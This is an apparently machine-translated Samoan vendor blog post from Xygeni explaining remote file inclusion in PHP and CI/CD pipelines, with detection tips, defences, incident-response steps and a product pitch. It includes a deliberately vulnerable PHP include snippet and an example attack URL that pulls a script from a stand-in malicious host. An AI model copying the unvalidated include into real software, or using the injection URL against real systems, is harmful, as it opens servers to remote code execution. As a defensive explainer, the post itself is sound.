Aiseā e Tāua ai le Fa'aopoopoina o Faila Mamao i le Sapalai o Polokalama Faakomepiuta?
O le ā le Fa'aaofiaina o Faila Mamao?
O le malamalama i le mea e aofia ai faila mamao e taua tele mo tagata atiaʻe o loʻo vaʻavaʻai e faʻamautu a latou talosaga i le amataga o le Taamilosaga o le Atinaʻeina o Polokalama Faakomepiuta (SDLC). O lenei vaivaiga, lea e masani ona le amana'iaina, e mafai ai e tagata osofa'i ona fa'aofi ma fa'atino tulafono mamao, ma tu'u ai au polokalama ma pipelinei se tulaga lamatia.
O le fa'aofiina o faila mamao (RFI) o se vaivaiga taua i le saogalemu e mafai ai e tagata osofa'i ona fa'aofi ma fa'atino faila mai fafo i lau 'au'aunaga, e masani ona o'o atu ai i le fa'atinoina o tulafono mamao (RCE). I le fa'atinoina, o lona uiga e mafai e se tagata leaga ona fa'atino tulafono fa'afuase'i i lau siosiomaga, fa'aleagaina le fausiaina, pe fa'aofi ni mea mata'utia i lau 'au'aunaga. pipelineO le mea e amata o se faʻafitauli laʻititi i le faʻamaoniaina o mea e ulufale mai e mafai ona avea ma se taufaʻamataʻu tele i le sapalai o polokalama faakomepiuta.
E ui o le RFI e masani ona fesootaʻi ma le PHP, o le mamanu autū, o le utaina o faila e le faʻatuatuaina e faʻavae i luga o le faʻaaogaina e le tagata faʻaoga, e mafai ona aʻafia ai le tele o gagana faʻapolokalame ma CI/CD faiga o galuega. O le mafuaʻaga lea e taua ai le malamalama i lenei vaivaiga mo 'au atinaʻe faʻaonaponei, aemaise lava pe a tatau ona faʻapipiʻiina le saogalemu mai le code i le faʻatinoina.
I tulaga moni, o osofaʻiga o le aofia ai o faila mamao ua oʻo atu ai i le faʻatinoina o tulafono mamao e leʻi faʻatagaina, faʻaleagaina atoa o le 'auʻaunaga, faʻateʻaina o faʻamatalaga maaleale, ma le solia tele o tapulaʻa o le faʻatuatuaga i totonu o filifili sapalai o polokalama faakomepiuta. O lenei vaivaiga e masani ona aʻafia ai talosaga faʻavae i le PHP ma siosiomaga faʻatautaia faila faʻaonaponei, e ui o mamanu faapena e mafai ona aʻafia i isi gagana polokalame ma faʻavae. Seʻi o tatou suʻesuʻeina loloto pe aisea e mafai ai e le malamalama i le mea o le aofia ai o faila mamao ma le auala e galue ai ona fesoasoani e puipuia ai faʻalavelave mataʻutia o le faʻatinoina o tulafono mamao.
E fa'apefea ona galue le fa'aopoopoina o faila mamao?
E tupu le fa'aofiina o faila mamao (RFI) pe a fa'aopoopoina fa'afuase'i e se talosaga faila mai fafo e fa'avae i luga o fa'amatalaga a le tagata fa'aoga e le'i fa'amaonia lelei. O lenei mea e tatala ai le faitoto'a mo tagata osofa'i e fa'aofi ai ni code leaga mai punaoa mamao, e masani ona i'u ai i le fa'atinoina o code mamao (RCE).
Le Auala e Galue ai le Fa'aaogaina - La'asaga i lea La'asaga
- Ulufale e le'i fa'amaonia: E faʻaaogaina e le talosaga se parakalafa fesili poʻo se isi faʻamatalaga a le tagata faʻaoga e filifili ai poʻo le fea faila e aofia ai.
- Fa'aofiina o Faila MamaoO le fa'aulufalega lea e fa'aaogaina sa'o i se galuega fa'atino e aofia ai faila (e pei o le
include()i le PHP), e aunoa ma le siakiina o le amataga po o le aoga. - Totogiina o Faʻasalaga FaʻasalalauAfai e faasino le input i se remote script leaga, e aumai ma faatino e le server, ma faaleagaina ai le system.
Faʻataʻitaʻiga o le Vulnerable PHP Code:
<?php $page = $_GET['page']; include($page); // Dangerous: no validation applied ?>I lenei faʻataʻitaʻiga, e mafai e se tagata osofaʻi ona faʻasesēina le parakalafa o le itulau e faʻasino i se URL fafo leaga, e oʻo atu ai i le faʻatinoina o le code mamao.
O auala masani e fa'aofi ai e aofia ai le tu'uina atu o URL mamao e fai ma fa'asologa o fesili. E talimalo e le au osofa'i ni tusitusiga leaga i fafo ma suia URL e pei o lenei: http://example.com/index.php?page=http://evil.com/malicious.php
Tulaga o Osofa'iga
O lenei tulaga e faʻamamafa ai le auala e faʻalautele atu ai le RFI nai lo le code runtime ma aʻafia ai le filifili sapalai o polokalama faakomepiuta. O le taimi lava e tosoina ai mea leaga i totonu o se pipeline, e mafai e tagata osofaʻi ona faʻaleagaina fausaga, faʻalavelave i le faʻatinoina o galuega, pe faʻamamā mea lilo mai totonu o siosiomaga faʻatuatuaina.
- Fa'atinoina o le Upega Tafa'ilagi: E uta e le au osofaʻi ni atigi upega tafaʻilagi mamao, ma mafai ai ona faʻaauau pea ona maua le avanoa mamao.
- Talimalo i Polokalama Fa'aleagaina: E tu'uina atu e 'au'aunaga i fafo ni polokalame leaga po'o ni cryptominers e ala i le RFI.
- Fa'atinoina o Tulafono i totonu Pipelines: A a'afia e vaivaiga o le RFI polokalama fa'afoe po'o siosiomaga faufale otometi, e ono avea faila fafo ua fa'aleagaina o ni mea faitino mamao ua tuiina, ma lamatia ai le polokalama atoa. pipelines ma tau atu ai i le faʻatinoina o tulafono mamao e leʻi iloa i totonu o galuega faatino a le DevOps.
Tafega masani o osofaʻiga:
1. O loʻo talimalo le tagata osofaʻi i se tusitusiga leaga
2. O le fa'atonutonuina o le URL parameter e fa'atonu ai le talosaga e aumai ma fa'atino lenei script mamao
3. E fa'atino e le 'au'aunaga se tulafono e le fa'atuatuaina, ma fa'aleagaina ai lona siosiomaga ma atonu o faiga fa'asolosolo i lalo ifo.
I le atina'e saogalemu, o le iloa po'o le a le aofia ai o faila mamao e mafai ona fesoasoani i 'au e 'alofia ai le fa'alauiloaina o ia vaivaiga i le amataga o le olaga fa'akomepiuta.
Iloa ma Fa'ailoga o Vaivaiga o le Aofia ai o Faila Mamao
O le iloa o vaivaiga o le aofia ai o faila mamao e manaʻomia ai le auʻiliʻiliga o tulafono faʻatonutonu ma le mataʻituina o amioga. Talu ai e masani ona faʻaaogaina e le RFI ni mamanu tulafono e foliga mai e le afaina, e tatau i 'au atiaʻe ma le saogalemu ona mataʻituina faiga faʻatonutonu e le saogalemu ma amioga e le masani ai i le taimi e faʻagaoioia ai e faʻaalia ai se tuaoi faʻatuatuaina ua faʻaleagaina. O loʻo i lalo ni faʻailoga autu e fesoasoani e faʻailoa ai lamatiaga o le RFI i le amataga o lau taʻamilosaga o le polokalama.
- Fa'ailoga o le Iloiloga o Tulafono Fa'atonutonu:
- Fa'aaogaina o le fa'aaofiaina o faila fa'aolaola e aunoa ma le fa'amaoniga fa'apitoa o le ulufale
- Aofia ai faila mamao e faʻavae i luga o faʻasologa o le URL
- Fa'ailoga Amio:
- Telefoni fa'afuase'i mai punaoa mamao mai 'au'aunaga fa'atuatuaina
- O fa'amaumauga o lo'o fa'aalia ai faila mai fafo ua aofia ai
- Tusitusiga e le masani ai na fa'atinoina mai auala e le o ni nofoaga fa'alotoifale, o lo'o fa'ailoa mai ai tuaoi o le fa'atuatuaga ua fa'aleagaina
- Meafaigaluega e Saili Ai:
- Su'ega o le Saogalemu o Talosaga Tumau (SAST)
- Su'ega o le Saogalemu o Talosaga Fa'agaoioia (Mataʻutia)
- Su'esu'ega o le Fa'atulagaina o Polokalama Faakomepiuta (SCA)
- Iloiloga le faaletonu mo talosaga mai fafo e le masani ai.
Ose Maulu loloto i totonu CI/CD PipelineVaivaiga
Siaki la matou faasologa o pou i luga o le blog i luga o le Poisoned Pipeline Fa'asalaga (PPE)
Lamatiaga ma Aafiaga Faapisinisi
- Fa'aliga Fa'amatalaga: E mafai ona fa'asalalauina fa'amatalaga maaleale e ala i tusitusiga mamao leaga
- Fa'aletonu o le 'Au'aunaga: E masani ona i'u le RFI i le puleaina atoa o le 'au'aunaga
- Tui Fa'atupu Fa'alavelave Mai le Mamao: O le taimi lava e fa'aofi ai e se tagata osofa'i se mea fa'atupu mamao, o le a ono lamatia ai le fa'aleagaina o fausaga ma fa'agaioiga i lalo ifo.
- Solia o Tuaoi o le Faatuatuaga: CI/CD pipelineo le fa'atinoina o le tulafono e le'i fa'atuatuaina e motusia ai le fa'amaoni autu o le sapalai oloa
- Tulaga Tausitia: Le lē usita'ia o le GDPR, PCI DSS, ma isi standardona o le le lava o faiga fa'amaumau saogalemu
Metotia Puipuiga mo Tagata Atiina'e
O iinei e te maua ai se lisi o nisi o metotia e puipuia ai e mafai ona fesoasoani ia te oe:
Fa'amaoniga ma le Fa'amamaina o le Ulufale
- Lisi fa'atagaina fa'apitoa o ala faila taliaina
- Aloese mai auala faila fa'a-dynamic pe a mafai
- Fa'amaoniga o le MIME/ituaiga ma le fa'amalosia o fa'aopoopoga faila saogalemu
- Faaaoga faletusi fa'amaonia fa'aulufalega fa'apitoa i gagana
Fa'ata'ita'iga Fa'ailoga Saogalemu
- Fa'agata le fa'aaofiaina o faila mamao e ala i le fa'aogaina o fa'atulagaga e pei o allow_url_include=Ua tape (PHP)
- Fa'amalosia auala fa'alotoifale atoatoa, fa'amaonia, mo fa'aputuga uma o faila
- Fa'aaoga le mataupu faavae o le fa'amanuiaga aupito itiiti i totonu o siosiomaga fa'aoga
- Poloka punaoa mamao e le'i sainia pe le fa'atuatuaina
DevSecOps ma CI/CD Guardrails
- Fa'atino le su'esu'ega tumau ma fa'aolaola i totonu CI/CD pipelines
- faia guardrails e iloa ai ma poloka ai faila e aofia ai i se nofoaga mamao
- Fa'amalosia tulafono fa'atonutonu fa'apitoa e fa'asaga i le fa'aofiina o faila fa'aonaponei ma faila e le'i fa'amaoniaina
- Mata'ituina faiga faufale mo talosaga punaoa mai fafo e le'i fa'amaoniaina
Fuafuaga Puipuiga o le Taimi Fa'agaoioia
- Fa'aaoga Web Application Firewalls (WAFs) e poloka ai talosaga leaga
- Faaaoga le iloa pea o mea sese ma le mata'ituina o le saogalemu
- Faia ni su'esu'ega masani o tulafono faakomepiuta ma ni su'ega fa'apitoa e taula'i i le saogalemu
Tali Faʻafuaseʻi
O le ā e Fai pe a Fa'aaogāina le Fa'aofiina o Faila Mamao?
Mulimuli i laasaga nei:
- Vavae'ese vave 'au'aunaga po'o tautua ua a'afia
- Iloilo fa'amaumauga e su'e ai gaioiga a le tagata osofa'i ma fa'ailoa mai punaoa ua fa'aleagaina
- Fa'asa'o le code vaivai ma toe fa'atulaga polokalame ua a'afia
- Fai se suʻesuʻega faʻapitoa e faʻamaonia ai le saʻo o le tafega i lalo o le vai pipeline vaega
- Fa'amalosia pulega e puipuia ai le toe tupu mai
O lea la, ia taulima le aofia ai o faila mamao o se taufaamata'u i le filifili o sapalai polokalama faakomepiuta
O lea ua e iloa le uiga o le remote file inclusion, e le tatau ona e toe vaʻai i ai o se faʻaletonu faigofie o le coding. O se vector taua tele e mafai ona faʻaofi ai mea leaga ma solia ai tapulaʻa o le faʻatuatuaga i lau polokalama faakomepiuta. pipelines. I le faaleagaina o 'au'aunaga i tua po'o CI/CD faiga, e mafai ai e le RFI ona faʻalavelave i faʻatulagaga, faʻalauiloa suiga e leʻi faʻatagaina, ma faʻasalalauina le code ua faʻaleagaina i lalo ifo. O le le amanaʻiaina o lamatiaga o le faʻatinoina o code mamao e mafua mai i le RFI e mafai ona tuʻua ai lau sapalai oloa ma e vaivai.
E tatau i faʻalapotopotoga ona faʻatino ni fuafuaga e puipuia ai le RFI i totonu o le SDLC ma CI/CD faiga o galuega. E aofia ai le auiliiliga tumau ma le fa'agaoioiga, fa'amaoniga sa'o o mea e ulufale mai, fa'ama'a'aina o atina'e, ma le mata'ituina pea. O a'oa'oga a le au atina'e ma faiga fa'asao-e-le-fuafuaga e taua tele e puipuia ai mai le RFI ma osofa'iga fa'apitoa e feso'ota'i i ai.
Mulimuli ae e le itiiti ifo, o le faʻamautuina o sapalai o polokalama faakomepiuta faʻaonaponei e manaʻomia ai le mataala faasaga i vaivaiga e pei o le aofia ai o faila mamao e mafai ona faʻateteleina mai mea sese faigofie i pipeline-o fa'aletonu lautele, ma i'u ai i ni tulaga matautia o le fa'atinoina o tulafono mamao.
E te fia aʻoaʻo mai tagata tomai faapitoa i le saogalemu i luga o le initaneti? Matamata i la matou SafeDev Talk i luga o Vaivaiga e Le Uma, Puipuiga Atamai – Fa'atautaia o Lamatiaga Fa'aonaponei o Polokalama luga o le YouTube!
E mafai faapefea e Xygeni ona fesoasoani
Xygeni e tuʻuina atu puipuiga faʻapitoa e faasaga i osofaʻiga a le RFI e ala i le faʻapipiʻiina o pulega saogalemu i le taimi moni i lau CI/CD pipelines:
- Poloka mea e aofia ai mamao e le fa'atuatuaina i le tulaga o le fausiaina e faʻaaoga ai mea e mafai ona fetuʻunaʻi guardrails.
- Iloa amioga e le masani ai e pei o le aumaia mai fafo e masalomia, faʻatinoga e leʻi faʻamoemoeina o le tusitusiga, poʻo ni mea faitino mamao e leʻi sainia.
- Fa'amalosia le sa'o atoatoa o mea totino fa'atasi ai ma le fa'amaoniga ma le fa'amaoniga o le amataga, ia mautinoa na'o le code fa'atuatuaina e alu i lau SDLC.
Suʻesuʻega CI/CD fa'atulagaga ma fa'amatalaga o galuega e puipuia ai le aʻafia e leʻi fuafuaina i tulaga lamatia e pei o le RFI i totonu o tusitusiga poʻo plugins.
E ala i le suʻesuʻeina pea o faʻatulagaga sese, iloiloina o amioga o le code, ma le faʻamaoniaina o mea faitino i le taimi moni, e taofia ai e Xygeni le RFI ma isi faʻamataʻu faʻatino mamao a'o le'i o'o i le gaosiga.
Amata lau suega saoloto ma vaʻai pe faʻapefea ona puipuia e Xygeni lau sapalai o polokalama faakomepiuta mai osofaʻiga a le RFI ma isi mea.
